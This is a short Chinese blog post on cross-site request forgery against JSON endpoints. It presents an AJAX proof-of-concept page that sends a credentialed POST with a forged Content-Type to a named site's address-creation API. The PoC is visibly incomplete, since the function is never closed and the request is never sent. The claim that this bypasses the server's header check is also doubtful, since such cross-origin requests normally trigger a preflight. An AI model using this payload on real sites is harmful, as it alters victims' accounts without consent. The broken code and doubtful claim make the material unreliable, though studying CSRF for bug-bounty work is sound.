问题引出

在CSRF中，经常遇到提交的数据包是json数组的，这种类型的CSRF不能直接使用Burp生成的POC进行测试。

后来在hackone上看到了一个方法，将from的ENCTYPE属性设置为text/plain时，json数组仍能被服务器接收。这个报告的地址为JSON CSRF on POST Heartbeats API

但是在最近刷SRC的过程中，笔者遇到的情况是：使用POST提交json数组到服务器，服务器检测有Content-Type: application/json请求头则通过，否则抛出一个异常。

用ajax技术解决

想到ajax可以自定义数据包头，于使构造ajax版POC，如下图所示。

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://www.admintony.com/address/addAddress.json", true);
        xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
        xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.9");
        xhr.withCredentials = true;
        var body = "{\"name\":\"SRC\",\"tel\":\"18681992828\",\"country\":\"\",\"province\":\"北京市\",\"city\":\"北京市\",\"county\":\"东城区\",\"areaCode\":\"110101\",\"postalCode\":\"\",\"addressDetail\":\"中关村\",\"isDefault\":false,\"userName\":\"美团SRC\",\"lat\":10.077726938827084,\"lon\":100.33235369626206}";
	</script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>